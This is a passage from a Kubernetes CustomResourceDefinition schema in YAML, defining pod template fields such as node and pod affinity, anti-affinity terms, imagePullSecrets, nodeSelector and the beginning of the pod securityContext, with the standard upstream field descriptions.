                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    required:
                                                    - nodeSelectorTerms
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                type: object
                                              podAffinity:
                                                description: Describes pod affinity
                                                  scheduling rules (e.g. co-locate
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                              podAntiAffinity:
                                                description: Describes pod anti-affinity
                                                  scheduling rules (e.g. avoid putting
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the anti-affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the anti-affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the anti-affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                            type: object
                                          imagePullSecrets:
                                            description: If specified, the pod's imagePullSecrets
                                            items:
                                              description: |-
                                                LocalObjectReference contains enough information to let you locate the
                                                referenced object inside the same namespace.
                                              properties:
                                                name:
                                                  default: ""
                                                  description: |-
                                                    Name of the referent.
                                                    This field is effectively required, but due to backwards compatibility is
                                                    allowed to be empty. Instances of this type with an empty value here are
                                                    almost certainly wrong.
                                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                                  type: string
                                              type: object
                                              x-kubernetes-map-type: atomic
                                            type: array
                                          nodeSelector:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              NodeSelector is a selector which must be true for the pod to fit on a node.
                                              Selector which must match a node's labels for the pod to be scheduled on that node.
                                              More info: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/
                                            type: object
                                          priorityClassName:
                                            description: If specified, the pod's priorityClassName.
                                            type: string
                                          securityContext:
                                            description: If specified, the pod's security
                                              context
                                            properties:
                                              fsGroup:
                                                description: |-
                                                  A special supplemental group that applies to all containers in a pod.
                                                  Some volume types allow the Kubelet to change the ownership of that volume
                                                  to be owned by the pod:

                                                  1. The owning GID will be the FSGroup
                                                  2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
                                                  3. The permission bits are OR'd with rw-rw----

                                                  If unset, the Kubelet will not modify the ownership and permissions of any volume.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              fsGroupChangePolicy:
                                                description: |-
                                                  fsGroupChangePolicy defines behavior of changing ownership and permission of the volume
                                                  before being exposed inside Pod. This field will only apply to
                                                  volume types which support fsGroup based ownership(and permissions).
                                                  It will have no effect on ephemeral volume types such as: secret, configmaps
                                                  and emptydir.
                                                  Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                type: string
                                              runAsGroup:
                                                description: |-
                                                  The GID to run the entrypoint of the container process.
                                                  Uses runtime default if unset.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              runAsNonRoot:
                                                description: |-
                                                  Indicates that the container must run as a non-root user.
                                                  If true, the Kubelet will validate the image at runtime to ensure that it
                                                  does not run as UID 0 (root) and fail to start the container if it does.
                                                  If unset or false, no such validation will be performed.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence.
                                                type: boolean
                                              runAsUser:
                                                description: |-
                                                  The UID to run the entrypoint of the container process.
                                                  Defaults to user specified in image metadata if unspecified.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              seLinuxOptions:
                                                description: |-
                                                  The SELinux context to be applied to all containers.
                                                  If unspecified, the container runtime will allocate a random SELinux context for each
                                                  container.  May also be set in SecurityContext.  If set in
                                                  both SecurityContext and PodSecurityContext, the value specified in SecurityContext
                                                  takes precedence for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  level:
                                                    description: Level is SELinux
